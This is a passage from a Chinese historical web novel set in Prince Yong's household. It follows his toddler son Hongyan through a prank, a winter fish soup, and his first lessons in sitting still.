弘晏扬了扬自己的荷包给乌拉那拉氏瞧:“额凉,窝还给三锅锅粽子糖吃了。” 乌拉那拉氏瞅了一眼弘晏那快要瘪下去的荷包,言道:“福宝真乖,等你荷包里的零嘴儿吃完了,额娘差人去外面给你买些新样式的小食,如何?” “好啊。”弘晏说完,往乌拉那拉氏的怀里蹭了蹭。 半个时辰后,胤禛在前院书房的拔步床上醒来,便直接坐了起来,冲着门外唤道:“苏培盛。” 话音落下,胤禛掀开被子,兀自将靴子穿好了。 而苏培盛捧着铜盆进来本是要伺候胤禛梳洗的,可走近了,看清楚了胤禛的脸,苏培盛目瞪口呆,手上松了力,那铜盆“咣当”一声掉落,水花四溅。 因着距离近,事情发生的又突然,胤禛来不及躲闪,那水花自然溅到了胤禛的脸上与身上。 胤禛眉头皱起,喝道:“苏培盛。” 苏培盛回过神来,立马跪在地上喊道:“奴才该死,奴才该死。” 到底是伺候了他多年的奴才,一时手滑弄出的差错,胤禛也没多计较。 “还不快些打扫了。”胤禛说完,站起身便要往外间走。 苏培盛见状,额头的青筋一跳,着急地喊住胤禛:“爷,您的脸……” 就胤禛现在这幅模样,若是叫外面的奴才瞧见了,他今日怕是逃不过一顿打了。 胤禛闻言,立刻停了脚下的步子,转而看向跪在地上的苏培盛:“爷的脸怎么了?” 话苏培盛自然是不敢说全的,麻溜起身捧了镜子给胤禛瞧。 胤禛此时发觉了苏培盛的异常,人往镜子里定睛一看,明白了苏培盛方才为何会那般模样。 镜子里的他,左脸与右脸上大喇喇的被人用墨汁画了三条对称的黑线条。 捧着镜子的苏培盛,眼睛瞧着地面,一颗心早就悬了起来。 胤禛气得脸色铁青,整个王府何人胆敢有这个胆子捉弄于他。 狭长的眸子眯起,胤禛忽而又觉得自己脸上拢共六条黑线有些眼熟。 下一瞬,胤禛的眸子猛然用力一睁,他想起来了。 而苏培盛误以为胤禛是在瞪自己,“扑通”一声又跪在了地上。 少顷,苏培盛端来了新的铜盆,拧干了沾了水的帕子递给胤禛。 胤禛右手拿着帕子,眼睛对照着镜子,将整个脸擦试干净之后,直接将帕子扔回了铜盆里。 那沾了墨汁的帕子又被铜盆内的温水浸湿,黑色的墨晕染开来,无色的水瞬间变得浑浊。 苏培盛招呼小喜子等人进来,将脏乱的内室收拾干净。 胤禛则迈步去了外间,眼睛环视一周,便发现了异样,遂快步走到书案旁,才瞧清楚了未盖着的砚台,且桌面、圈椅、地面都残留有大大小小的黑色墨点。 忽而,小喜子迈步过来,双手呈上了一支狼毫笔。 胤禛抬手将狼毫笔举起来,仔细端详,这支狼毫笔确是他的无疑,且笔尖上的墨汁早已干透。 胤禛问道:“在哪发现的?” 小喜子如实禀道:“回爷的话,床底。” 胤禛将刚发现的蛛丝马迹串联起来,脑子里便出现了一条完整的作案轨迹。 很显然,是早已预谋的。 胤禛将狼毫笔丢在书案上,抬眸质问:“苏培盛,何人来过书房?” 苏培盛走过去,禀道:“回爷,午后六阿哥来过,要给您送醒酒汤。” 事实上,当苏培盛进去内室看到胤禛那张脸的时候,一切都明白了。 只是,他一个奴才哪里敢以下犯上、指证主子呢。 胤禛嘴角勾了勾:“送醒酒汤?汤呢?” “汤……您睡下了,六阿哥自然又带着王乳娘将醒酒汤拿回去了。”苏培盛说到后面,声音越来越低。 人证、物证俱在,该捉拿“凶手”了。 胤禛嘴角一扬,大步流星出了书房便往正院去。 苏培盛麻溜的跟了上去。 六阿哥啊,六阿哥,你胆子这么大,自己多加保重吧。 胤禛到了正院,不许人通禀,三两步上了石阶,直接跨过门槛进了屋子。 正在檀木小榻上摆弄玩具的弘晏,余光瞥见了黑着脸的胤禛,直接将手里的玩具扔了,转而往乌拉那拉氏身后藏。 乌拉那拉氏一头雾水:“这是怎么了?” 往常弘晏见胤禛来不说欢欢喜喜,也会甜甜地喊上一声“阿玛。” 胤禛眸子眯起。 现在知道怕了,晚了。 胤禛大步走过去,一把将弘晏拎了起来。 弘晏立马奶呼呼的喊道:“阿玛,好阿玛,窝错了,错了。” 识时务者为俊杰。 胤禛见状,眉头一挑:“你倒是敢做敢当,有错就认。” 话音落下,胤禛转而抱着弘晏坐到了小榻的另一侧。 被胤禛禁锢在怀里,弘晏忽闪着大眼睛,软糯糯的喊:“阿玛,阿玛。” 乌拉那拉氏听得云里雾里:“爷,这到底发生了何事?” 胤禛看向乌拉那拉氏,开始讲弘晏干的好事。 而弘晏想趁胤禛分心讲事情始末的时候,从胤禛怀里溜走,却被胤禛发现,不但逃跑未遂,小屁股蛋儿还被打了一下。 人在屋檐下,弘晏只得乖乖地窝在胤禛怀里。 乌拉那拉氏听完后,倒是笑了:“福宝还不都随了爷。” 胤禛装糊涂:“随我?随我什么?” 乌拉那拉氏嗔了胤禛一眼:“爷心里明镜一般,何苦非要我说出来。” 弘晏悄咪咪望了胤禛一眼。 是的,他随胤禛。 心眼小,还记仇。 这厢,胤禛低头看向弘晏:“往阿玛脸上画猫,更多是因为我说了要让你启蒙吧。” 弘晏心虚的眨了眨眼睛。 知道你还问。 此时,乌拉那拉氏开口道:“爷喝醉了酒,落了清净,午后钮祜禄氏与耿氏可都来了正院央求。按照规矩,阿哥们六岁方上学读书,就算翻了年,弘历与弘昼才将将五岁,委实有些早了。” 钮祜禄氏与耿氏自是不敢到胤禛面前陈情,只能求她出面来当这个说客。 胤禛闻言,答道:“福晋说的在理,那叫他们再松快一年就是。” 他也是被弘时气昏了头,才撂下了这话。 如今乌拉那拉氏搭了梯子,他自然就顺势下了。 操之过急,无异于揠苗助长。 弘晏听着胤禛松了口,忙拉了拉胤禛的袖子,撅着小嘴巴问道:“阿玛,那窝嘞?” 胤禛抬手摸了摸弘晏的小脸儿:“等你过了三岁生辰再说吧。” 弘晏高兴极了,挣扎着小身子往胤禛身上爬,两只手搂着胤禛的脖子,小脸凑上去在胤禛脸上连亲了好几下。 逗得胤禛哈哈大笑。 末了,胤禛拿帕子擦了脸上黏黏糊糊的口水。 少顷,胤禛饮了口茶,问向小奶团子:“福宝,可要跟阿玛钓鱼去?” 乌拉那拉氏闻言,忍不住开口:“爷,寒冬腊月的,钓什么鱼啊?” 胤禛缓缓道:“中午叫小喜子送的鱼,可吃了?虽说是冬日,可鱼肉鲜美的紧,冰钓也不失为一种乐趣。” 乌拉那拉氏起身走过去,转而将弘晏抱到自己怀里:“爷要去便去,可别带着福宝,若要染了风寒才是不值当。” 弘晏觉得自家额娘说的有理,遂开口说道:“阿玛,窝要喝鱼汤。” 话说完,弘晏便冲着胤禛挥手拜拜。 胤禛站起身往外走:“好,等着阿玛给你钓条大鱼回来。” 第83章 第83章情绪价值 门房早已备好了马车。 待胤禛坐稳当,马车便向京郊徐徐出发了。 因着冬日寒冷,车厢里置了火炉,上面正煮着一壶茶,一旁的小矮几上更放了两碟点心。 炉子燃烧的正旺,不一会儿的功夫,壶内的沸水蒸腾,胤禛瞧着从壶嘴里缓缓飘出来的“白烟儿”,眯了眯眼睛。 弘时在乾清宫闹了笑话的事儿,怕是已然传遍整个京城了,明里暗里不知有多少人在等着瞧他的笑话呢。 这个档口,他若还有心思出现在京郊冰钓来取乐,那些盘算着等着瞧笑话的人自然就落了空,而落在汗阿玛眼里,也算是合了他营造的向往田园之乐的“闲人”形象。 胤禛勾了勾嘴,而后拎起茶壶倒了一杯热茶。 鱼要钓,戏也要做。 到了地方,苏培盛等人已然搭起了一个暖棚,身上穿着狐裘,手里又揣着暖炉,胤禛也不觉冷,这一钓便是两个时辰了。 今个儿湖里的鱼也算给面子,苏培盛清点了木桶里的鱼,足足有十条呢。 趁着鱼还新鲜,胤禛吩咐了下去。 最大的两条鱼送进皇宫,孝敬给康熙享用,再挑两条好的送到十三贝子府。 剩下的六条鱼,两条送去那喇府给怀恪郡主,两条鱼送去潇湘阁,最后的两条自然就归小家伙了。 冬日天儿黑的早,胤禛乘着马车回到 雍亲王府时,天已然暗下来,府里都挂上了灯笼。 苏培盛安排小喜子将两条鱼送去厨房,让胡全做成鱼汤送去正院。 而胤禛先回了书房,沐浴更衣之后,便往正院去了。 恰好鱼汤刚做得,胤禛便陪着乌拉那拉氏与弘晏一同用晚膳。 弘晏咕咚喝了一碗,又对着乌拉那拉氏喊道:“额凉,还要汤汤。” 奶白色的鲈鱼汤鲜嫩可口,里面还放了他最爱的萝卜,他还没喝够呢。 乌拉那拉氏使了个眼神,王乳娘上前又给弘晏盛了半碗。 弘晏努了努小嘴:“不够,不够。” 乌拉那拉氏笑了:“喝完了再盛。” 弘晏吧唧了一下嘴,那好吧。 喝饱了鱼汤,弘晏摸了摸自己的小肚子,好像鼓起来了。 “额凉,额凉。”弘晏边喊,边拉着乌拉那拉氏的手往自己的肚子上放。 乌拉那拉氏的手探进了弘晏的衣袍里,触碰到了弘晏软乎乎的小肚皮,笑道:“福宝可不能再喝了,小心撑着了。” “嘿嘿,不会的,额凉,泥看。”话说着,弘晏用力吸了气,小肚子明显瘪下去了一些。 乌拉那拉氏看着努力吸气的弘晏:“那也不能再喝了,当心积食。” 此时,弘晏忍不住打了一个饱隔,那肚子便恢复原样了。 乌拉那拉氏忍不住笑了。 弘晏挠了挠小脑袋,也跟着嘿嘿笑起来。 胤禛瞧着忽视自己的母子二人,忍不住清了清嗓子。 乌拉那拉氏嘴角弯了弯,对着弘晏说道:“福宝,叫你阿玛也瞧瞧你厉害的小肚子。” 弘晏点了点小脑袋。 随即,弘晏便去到了胤禛身旁,给胤禛表演起了吸气、吐气。 胤禛看着那小肚子一鼓一瘪的,也有些手痒,学着乌拉那拉氏的模样去摸弘晏肚子上的肉,可是他的手刚触碰到弘晏的小肚子,弘晏咯咯直笑不说,小身子还扭起来去扒拉胤禛的手:“阿玛,痒,痒。” 胤禛常年写字又练弓马,指腹早已磨出了一层茧子,是以,那粗糙的手放到他光滑软嫩的肚皮上时,弘晏只感觉痒的不行。 胤禛见状,只好将手赶紧抽出来了。 弘晏缓过劲儿来,又巴巴地凑过去撒娇要胤禛抱。 胤禛翘了翘嘴角,一把手就将弘晏抱紧怀里了。 待晚上就寝时,弘晏骨碌着小身子滚到了胤禛怀里,小脑袋枕在胤禛的胳膊上便阖眼睡去了。 翌日天微微亮时,尚在睡梦中的胤禛只觉得身上热乎乎、湿漉漉的,便睁开了惺忪的眼睛。 这一睁眼,胤禛简直要怀疑人生了。 入睡时,弘晏明明是枕着他的胳膊的,可如今小家伙整个人平趴在他身上摊成了一个“大”字不说,还将尿完全的撒在了他的身上。 他的寝衣已然湿透了! 胤禛皱了皱眉。 昨晚弘晏一直要鱼汤喝的时候,他就应该预料到的。 里侧的乌拉那拉氏睡得香甜,趴在他身上的弘晏同样呼呼大睡。 胤禛不忍心叫醒乌拉那拉氏,只得先用双手将弘晏抱起来,而后强忍住身上的湿濡,抱着弘晏去净室清洗。 床榻十分整洁,胤禛将弘晏塞进了乌拉那拉氏怀里,把帐幔放下后,便唤苏培盛进来伺候自己梳洗。 收拾妥当后,胤禛带着苏培盛出门。 出了屋子,下了石阶之后,胤禛忍不住仰天长叹一口气。 一旁的苏培盛一头雾水,不明白胤禛这是怎么了。 随即,苏培盛揣摩着胤禛的心思,试探着开口:“爷,可是昨晚没睡安稳?” 六阿哥可正是闹腾的年纪呢。 胤禛闻此言,什么都没说,迈步而去。 苏培盛见状,忙跟上去。 胤禛走后不久,弘晏在乌拉那拉氏怀里醒来,扭过小脸一瞧那空空如也的外侧,便知是胤禛走之前将自己塞进了乌拉那拉氏怀里。 反正乌拉那拉氏还没醒,弘晏翻了个身,继续阖眼睡去。 待乌拉那拉氏醒后,母子俩洗漱穿戴好便到了外间用早膳。 不多时,弘晏吃饱喝足,就想要到外面去玩耍,乌拉那拉氏却是不答应。 寒风凛冽,小孩子蹦蹦跳跳地难免身上会出汗,一冷一热的,若是寒气侵体那就不好了。 不能出屋子,弘晏无聊的紧,屁股坐在小榻上,晃悠着两条小短腿。 乌拉那拉氏知晓弘晏是个呆不住的性子,早就命人将玩具备下了。 一个眼神过去,银烛福身而去,再进来时手上多了一样东西:“阿哥,你瞧。”银烛行至弘晏面前说道。 看着银烛手里的小玩具,弘晏迟疑道:“介是?” “阿哥,这是竹蜻蜓。”银烛解释道。 竹蜻蜓? 这东西是用竹子做成的,下面是竹柄,上面的部分瞧着倒是像一对儿“翅膀。” 银烛说完,便开始为弘晏演示。 只见银烛双手的掌心合拢,将竹柄夹住,而后用力搓起来,再一松开时,那竹蜻蜓竟飞在了空中。 弘晏眼睛一亮,便抬起小脑袋,视线紧紧追随着竹蜻蜓,只瞧见在空中旋转的那对儿“翅膀”速度慢慢降下来,最后“翅膀”停了,竹蜻蜓便掉在了地上。 别说,这东西飞舞起来,还真像蜻蜓呢。 弘晏蹦下了小榻,哒哒的捡起竹蜻蜓,学着银烛的模样先将竹柄放在掌心搓动,而后松了手,竹蜻蜓果然飞了起来。 弘晏乐了,很是骄傲的指给银烛看:“银烛姐姐,蜻蜓飞高高。” 银烛笑吟吟夸道:“是了,阿哥聪慧,一学便会了。” 有了新玩具,弘晏也不觉得无聊了,叫银烛再拿一个竹蜻蜓来,与他比比谁的蜻蜓飞的高。 小主子有雅兴,银烛自然要奉陪了。 流萤临时充当了裁判。 随着流萤的一声令下,弘晏与银烛同时搓动竹柄,随即,两个竹蜻蜓飞向了空中。 很快,两个竹蜻蜓拉开了高度,弘晏的那只竹蜻蜓要比银烛的那只竹蜻蜓飞的高些。 弘晏高兴的弯了弯唇角。 可下一瞬,弘晏的竹蜻蜓摇摇晃晃的有下降趋势,弘晏的视线便紧紧追随着自己的竹蜻蜓,在心里给竹蜻蜓打气。 “啪嗒”一声,弘晏的竹蜻蜓不偏不倚的掉进了高几上放置的敞口青花瓷里。 意外发生的太过突然,弘晏见状,立马小跑过去,以他的身高踮起脚尖才勉强够到高几,压根看不到那高高的敞口青花瓷瓶底。 “阿哥别急,奴婢帮您捡。”流萤边说边快步走过去,将高几上的敞口青花瓷拿起来,两只手手腕一转,那敞口青花瓷旋即反过来,底朝上,口朝下。 “啪嗒”一声,竹蜻蜓从瓶底掉出来,落在了地上。 弘晏蹲下去,将竹蜻蜓捡了起来。 流萤也将敞口青花瓷瓶放回了高几上。 比赛是结束了,可身为裁判的流萤却犯了难。 按理来说,比试竹蜻蜓,左不过是比竹蜻蜓飞的高度和在空中旋转的时间。 六阿哥的竹蜻蜓虽然飞的高,但先落进了敞口青花瓷瓶底,便也算是提前落地了。 可若是算银烛赢,她又怕小主子不高兴甚至哭鼻子。 随即,流萤想了个两全的法子,出声道:“阿哥,这一局平局,再来一局如何?” 银烛见状,直接说道:“阿哥的竹蜻蜓飞的高,是阿哥赢了。” 比赛飞竹蜻蜓不过是哄小主子高兴罢了,何必那么较真。 弘晏摇了摇小脑袋,抬眸看向银烛,又抬手晃了晃手里拿着的竹蜻蜓 :“窝的掉了,泥赢了。” 比赛就是比赛,意外是不可避免的。 既然他的竹蜻蜓出现了失误,那便是他输了。 银烛笑问:“奴婢赢了,阿哥可要赏些什么给奴婢?” “等着。”弘晏说完,便跑进了内室,再出来时,右手握成了一个拳,而后走到银烛面前,抬眸道:“手展开。” 见弘晏神秘兮兮的,银烛好奇的摊开手掌伸过去,谁料,弘晏竟然将一颗金锞子放进了她的手心。 银烛一惊,忙道:“阿哥,这可使不得,您还是赏奴婢一颗粽子糖吧。” 她本就是与弘晏说笑的,哪里能收小主子这么贵重的东西呢。 弘晏摆了摆手,对着惊诧的银烛一本正经地说道:“泥赢了,不许不要。” 他一个两岁多的幼崽,力气哪里能比得过一个成人呢。 很显然,比赛时银烛在放水,目的就是哄他高兴。 既然银烛给他提供了情绪价值,那他情愿输给银烛一个金锞子。 而且,对于奴才来说,赏赐还是真金白银来的更实在些。 弘晏坚决要给,银烛只觉手心里的金锞子烫手的很,求助的看向了小榻上的乌拉那拉氏。 乌拉那拉氏笑了:“既然阿哥赏了你,好生收着便是。” 银烛连忙屈膝道:“奴婢谢阿哥赏,谢福晋赏。” 乌拉那拉氏转而看向了弘晏:“福宝,这么大方啊?” 弘晏的做法连她都在意料之外。 毕竟,弘晏可是护财护得紧呢。 弘晏哒哒跑过去,对着乌拉那拉氏说道:“窝的钱多多。” ——到了午时,胤禛回府便去了正院用午膳。 弘晏玩了一早上,如今吃完了午膳,便打起了哈欠,王乳娘便抱起弘晏到隔壁的耳房哄睡。 这厢,乌拉那拉氏与胤禛用完了午膳便移坐到临窗的小榻上说话。 趁着弘晏午睡,胤禛便将早上发生的事情告诉了乌拉那拉氏。 乌拉那拉氏听罢,嗔了胤禛一眼,轻哼道:“爷才哄睡福宝几回,便一肚子牢骚,且不说我怀胎十月,福宝生下来我可是日日都看顾着呢。” 小孩子家家的,尿裤子尿床太正常不过了。 胤禛摩挲着拇指上的玉扳指,一双黑眸看向坐在对面的乌拉那拉氏:“小儿难养,福晋着实辛苦了。” 胤禛说完,又看了苏培盛一眼。 苏培盛上前来,将捧着的描金盒子打开,映入乌拉那拉氏眼帘的是一对儿上好的翡翠玉镯。 乌拉那拉氏弯了弯唇,转而看向身旁的流萤。 流萤上前一步,双手接过苏培盛手里的描金盒子转而进了内室放好。 胤禛开口道:“福晋就不问这玉镯如何而来?” 瞧着胤禛心情不错,乌拉那拉氏猜测道:“莫非是汗阿玛赏的?” 胤禛嘴角微微上扬:“鲈鱼换的。” 乌拉那拉氏这便明白了。 鲈鱼的可贵之处,便在于是沉得住气的胤禛在冬日冰湖里亲自钓上来的,又眼巴巴送进宫孝敬的。 康熙既然欣赏胤禛的沉稳,要借机赏赐自然也就说得通了。 而胤禛与其矜持做作的婉拒,不如大大方方的讨赏。 更何况,胤禛讨的赏是女人带的镯子,与前朝半分关系都没有。 康熙自是欣然答允的。 第84章 第84章幼崽启蒙 冬去春来,日子转而来到了康熙五十五年四月。 弘晏的三岁生辰过完,启蒙的事情便要提上日程了。 弘晏也没理由再耍赖了。 而且,更令他震惊的是便宜阿玛要亲自给他启蒙。 银烛道自家小主子是好福气。 弘晏眨巴了眨巴眼睛:这个福气给你你要不要。 这日,胤禛在正院陪着乌拉那拉氏用完午膳后,便直接抱着弘晏往前院去了。 乌拉那拉氏笑着目送父子俩远去。 弘晏趴在胤禛肩头,依依不舍的向倚着门框而站的乌拉那拉氏挥手。 到了前院书房后,胤禛将弘晏放到了地上,旋即撩起衣角坐在了檀木小榻上,对着弘晏说道:“今个儿,阿玛先不教你读书,咱们先练习坐。” 弘晏歪了歪小脑袋:“阿玛,窝会坐。” 坐有什么难的,他几个月大的时候便会了。 胤禛笑了:“此坐非彼坐,读书的第一步便是要学坐,坐得稳、坐得沉、坐得住,这样心静了,书上的东西才能记在脑子里。” 弘晏明白了。 不就是练他的耐性吗? 胤禛话说完,给苏培盛递了个眼色。 苏培盛大手一挥,旋即进来两个小太监,两个小太监手里搬着一套紫檀木的儿童桌椅。 弘晏的视线追随而去,瞧着两个小太监将那套儿童桌椅放在了胤禛书案的正对面。 胤禛笑着指向那套儿童桌椅:“福宝,这就是你的书桌了。” 弘晏眨巴了眨巴眼睛。 好家伙,真成一对一教学了。 片刻后,小喜子又捧了一个鎏金小香炉进来,转而放在了胤禛书案的正中央。 胤禛起身走到弘晏身边:“福宝,待会儿小喜子会在这香炉里点一炷香来计时,你若能稳稳地在书桌后坐上一炷香的时间,今个儿的课便完成了。” 弘晏点了点小脑袋。 听起来也没有那么难嘛。 待弘晏规规矩矩的在椅子上坐好后,小喜子便点燃了一炷香。 少顷,那缕缕轻烟便缓缓飘出来。 瞧着弘晏坐得稳当,胤禛正欲回书案处理公务,便听苏培盛禀道:“爷,三阿哥在外等候。” 弘时主动来见他倒是稀奇了:“叫他进来。”胤禛朗声道。 话说完,胤禛又坐回了檀木小榻上。 片刻功夫,便见弘时进来拱手道:“给阿玛请安。” 一旁的弘晏见着弘时,欢喜的招手道:“三锅锅。” 忽闻熟悉的小奶音,弘时是意外又高兴:“六弟。” 胤禛的视线看向弘晏,出声提醒道:“福宝。” 弘晏理直气壮的开口回道:“窝滴屁屁没动。” 要练习坐,他的屁股可没有离开椅子,他只不过是小手和嘴巴动了而已。 胤禛闻此言,朗声道:“方才阿玛是如何说的?坐是为了心静,进来个人,你急着瞧热闹,心便也跟着飞走了。” 弘晏撅了撅小嘴巴。 便宜阿玛真是严格。 胤禛瞧着弘晏这不服气的模样,嘴角翘了翘:“那不如叫小喜子换一炷香,重新来过。” 弘晏一听这话,忽闪着眼睛喊道:“不要,不要。” 随即,弘晏又乖乖坐好,目视前方,不再说话了。 胤禛弯了弯嘴角,旋即将视线收回,眼睛又看向了面前的弘时,说话的语气便冷了几分:“有何事?” 弘时低垂着眼睛,缓缓开口:“昨日儿子背熟了师傅刚教的文章。” 弘时这是主动请他考问文章来了。 嗯,更加稀奇了。 一番考问下来,弘时不说是滚瓜烂熟,也是流利从容,较之前大有长进,可见是下了功夫的。 胤禛夸赞了弘时几句后,便叫弘时回去温书,却见弘时还愣在原地,嗫嚅着嘴唇,一双眼睛看着他却欲言又止。 胤禛遂问道:“还有何事?尽管说了。” 平日里考问完弘时,他心里气得不行,弘时今日长进不小,他的心情也跟着好了许多。 弘时闻言,拱手道:“阿玛,听闻明日三伯府里有诗会,饱学之士云集,儿子不才,但也想一观,长长见识。” 他这个三哥胤祉喜诗文,好书法,府上的门客也多为学者、文士,如今更是一心钻到了编书上,举办几场诗会更是家常便饭了。 不过,难得的是弘时自去岁在宫里闹了笑话,又被他一顿喝斥之后,竟能悔悟好学、虚心求教。 对着弘时,胤禛的眸子里难得流露出欣慰之色:“你有此心,阿玛又岂能拦你。” 弘时眼睛一亮,语气里难掩激动:“多谢阿玛。” 胤禛笑了,嘱咐道:“诗会人多眼杂,挑个机灵的奴才跟着你去。” “是。”弘时说完,便拱手告辞离开了书房。 鎏金香炉里的一炷香快要燃尽,胤禛抬眼看向那儿童桌椅时,却发现弘晏正趴在书桌上睡得香甜。 胤禛:“……” 胤禛无奈叹了口气,起身走过去时,才发觉弘晏不仅睡得香甜,还流了涎水。 胤禛拿帕子给弘晏擦去涎水,抱着小家伙进了内室,将小家伙安置在床榻上后,又迈步出来外间处理公务。 一个时辰后,弘晏睡醒睁开眼睛后有些懵懵地,看清了四周的陈设,方才想起来自己身在便宜阿玛的书房。 一旁守着的小喜子见弘晏坐了起来,便伺候弘晏穿鞋,又给弘晏洗脸,而后将弘晏抱下了床榻。 弘晏迈过门槛,抬眼冲着坐在书案后的胤禛奶呼呼唤道:“阿玛~” 胤禛方抬眼看向弘晏:“睡醒了?” 弘晏不好意思笑了笑。 他本来是很认真的,可是弘时背的文章都是“者乎者也”的,跟催眠曲一样,他也控制不住自己嘛。 弘晏哒哒的跑过去,抬手扯了扯胤禛的下摆的衣角,忽闪着眼睛说道:“阿玛,窝饿了。” 胤禛看向小喜子,吩咐道:“端碗热牛乳来。” “嗻。”小喜子颔首,正要抬步去办。 弘晏扭过小脸,冲着小喜子说道:“不要牛乳,要蛋羹。” 小喜子步子一顿,转而看向胤禛等着示下,瞧着胤禛并没有发话的意思,小喜子又对着弘晏说道:“嗻,奴才这就去。” 胤禛的余光一直注意着弘晏的动静,见弘晏吃完了蛋羹,便发话道:“福宝,吃饱睡足了,咱们接着上课。” 弘晏一惊,随即奶呼呼撒娇道:“阿玛,窝该回去了,额凉会想窝的。” 胤禛正欲说些什么,便见苏培盛进来禀报道:“爷,福晋身边的流萤来了。” 胤禛开口道:“叫她进来。” 流萤一进门,弘晏就像看到了救命稻草一样冲过去抱住了流萤的小腿,眨着星星眼喊道:“姐姐~” 对着奶呼呼的六阿哥,流萤眼睫微颤,都有些脸红了。 而弘晏读懂了流萤的微表情,便松开了流萤。 流萤这才回过神来,给胤禛请安之后,缓缓开口道:“王爷,福晋差奴婢来问,可否带六阿哥回去了,六阿哥还小,今个儿又是第一天启蒙,累着了可不好。” 胤禛听了这话,正欲开口便被弘晏抢了先:“阿玛,泥看,窝就说额凉想窝了。” 乌拉那拉氏派人来接他回去,弘晏说话的底气十足。 小家伙吃了一碗蛋羹,美美睡了一觉,有什么累的,真正劳累的人可是他。 胤禛话到嘴边又咽下:“罢了,你带福宝回去吧。” “嘿嘿,阿玛最好了。”弘晏毫无感情的说完这话,就立马转身屁颠屁颠的拉着流萤的手走了。 胤禛:“……” 小家伙恨不得插双翅膀飞出去,好像慢走一秒,他就会反悔似的。 回到了正院,弘晏松开了流萤的手,飞奔到乌拉那拉氏怀里。 乌拉那拉氏搂着弘晏,笑问:“福宝,今个儿学的如何?” 弘晏转了转眼珠子,转而在乌拉那拉氏怀里蹭了蹭:“想额凉~” 今天好像学了什么,又好像什么也没学。 乌拉那拉氏笑得温柔:“额娘也想福宝,饿不饿?额娘叫人给你做好吃的。” 弘晏软糯糯道:“不饿,要额凉。” 一碗蛋羹下肚,他现在饱得很。 乌拉那拉氏没想到弘晏去了前院一两个时辰就这般想她,难不成是胤禛对弘晏太过严厉? 胤禛心血来潮要亲自为弘晏启蒙,本是好事一桩,她这个做福晋的也不好泼他冷水,今个儿不过是第一日,她暂且等等,若是弘晏真不喜欢叫胤禛启蒙,届时她去说情也好开口些。 到了第二日同一时间,小喜子便来正院接弘晏去前院启蒙,弘晏冲着乌拉那拉氏挥了挥手,便跟着小喜子去了。 “福宝,今日你若能坚持一炷香的时间,阿玛叫人给你做冰糖萝卜如何?”胤禛开口道。 有了美食做诱惑,想必小家伙就不会打瞌睡了。 不出胤禛所料,弘晏一听有冰糖萝卜吃,眼睛立马就亮晶晶的,还自信满满的拍了拍小胸脯。 鎏金香炉里的香开始燃起,弘晏坐姿十分端正,胤禛点了点头,给予弘晏肯定,而后便埋头处理公务了。 少顷,苏培盛进门禀道:“爷,三阿哥赴诗会回来了。” 胤禛抬头问:“人呢,为何不带来?” 他已然吩咐下去,待弘时从诚亲王府回来,就来书房问话,而今,只有苏培盛一人进来,却不见弘时人影。 弘晏吸取昨日的教训,一动不动的坐着,只竖起耳朵听。 苏培盛禀报道:“回爷的话,诗会散后,诚亲王备下了宴席,三阿哥酒醉,已然被随行的小太监扶回去了。” 胤禛眉头蹙起,脸色一沉:“酒醉?他赴的是诗会还是酒会?把伺候的小太监叫来。” 苏培盛颔首道:“人已在外侯着,奴才这就叫他进来。” 片刻后,一个小太监打千儿道:“奴才小何子见过王爷,王爷恕罪,诚亲王府的诗会散后,又置办了宴席,文士们和其他府上的阿哥都在,三阿哥不好推辞,宴席上少不得酒,文人们在一起自是行酒令助兴,回答不上来便得罚饮,一杯两杯的,三阿哥便醉了。” 胤禛听完了事情的来龙去脉,脸色缓和了不少。 文人雅士都在宾客之列,以弘时的学问答不上来也是情有可原。 胤禛遂开口道:“罢了,叫厨房熬了醒酒汤,好生回去照顾三阿哥。” 小何子松了一口气:“嗻,奴才告退。” 而胤禛又瞧向了弘晏,见弘晏坐如钟,嘴角翘了翘。 看来昨日他说的话,弘晏都听进去了。 孺子可教也。 待鎏金香炉里的一炷香燃尽,胤禛弯了弯唇:“福宝,今日很不错,可以起来了。” 弘晏嘴角一扬,可要站起身时却发现了不对劲,随即抬眼看向胤禛,瘪着嘴唤道:“阿玛,屁股,腿,麻麻的,窝动不了。” 他一动,下半身是又酸又麻,难受的紧。 胤禛闻言,立马冲过去小心翼翼的试着帮弘晏活动筋骨,还不忘吩咐:“快叫柳从南来。” 弘晏委屈又可怜:“阿玛~” 胤禛安抚道:“别怕,阿玛在。” 柳从南匆匆赶来,帮着弘晏活动筋骨之后,弘晏又可以蹦蹦跳跳了。 柳从南禀报道:“王爷放心,六阿哥无碍,只是久坐才引起的腿脚酸麻。” 胤禛“嗯”了一声,便叫柳从南下去了。 弘晏跑到胤禛身边问道:“阿玛,窝滴萝卜嘞?” 看来是真没事了,还想着吃嘴。 胤禛挑眉道:“少不了你的。” 弘晏撅着小嘴巴点菜:“窝还要桃脯、糕糕、蛋羹、肉肉。” 他今日受了罪,便宜阿玛要好好犒劳他才行。 胤禛一口应下:“好。” 随即,胤禛又看向苏培盛,吩咐道:“苏培盛,照六阿哥说的,快些去准备。” 第85章 第 85章幼崽出门 康熙的差事派下来,胤禛便忙碌了起来,给弘晏启蒙的事情便搁置了。 而弘晏对此却十分满意,他可以在正院荡荡秋千、骑骑摇摇马、在乌拉那拉氏怀里撒娇,叫小厨房做好吃的,日子过得要多惬意有多惬意。 很快,日子进了五月,胤禛的差事办完,人又闲暇了起来。 这日,弘晏在正院的屋子里玩竹蜻蜓,便见银烛福身禀道:“福晋,苏公公来了。” 小榻上的乌拉那拉氏笑道:“快请。” 下一瞬,苏培盛进门打千儿道:“奴才给福晋请安,给六阿哥请安。” 乌拉那拉氏做了个抬手的动作示意苏培盛起身:“可是爷有什么吩咐?” “回福晋的话,爷差奴才来请六阿哥。”苏培盛的话说完,便看向了弘晏。 弘晏一听苏培盛是冲着他来的,掉在地上的竹蜻蜓也不捡了,哒哒跑到乌拉那拉氏身旁,整个人趴在乌拉那拉氏膝头,撅着小屁股道:“额凉,窝不去,不去。” 与瞌睡虫做斗争,腿麻、屁股也麻的滋味真是太难受了,他可不想再受罪了。 乌拉那拉氏见弘晏反应这么激烈,抬手摸了摸弘晏的脑袋,旋即对着苏培盛问道:“爷可还是为了启蒙的事?” 苏培盛脸上的尴尬之色散去,颔首道:“回福晋,非也,是柳府医禀了爷,说研制出了治疗十三爷腿疾的新药,爷大喜,本想带着柳府医直接去十三贝子府的,可爷又想着六阿哥也多日未见弘晈阿哥了,这便差奴才来请六阿哥一同前去。” 苏培盛话说到这里,余光偷瞄了一下弘晏,见弘晏已然忽闪起眼睛来,嘴角弯了弯,又接着道:“既然六阿哥不愿前往,那奴才也只好回去复命了。” 话说完,苏培盛正准备转身离去,弘晏见状,立马哒哒的跑过来扯了扯苏培盛的衣角,扬着小脸儿喊道:“苏苏,窝去,窝去。” 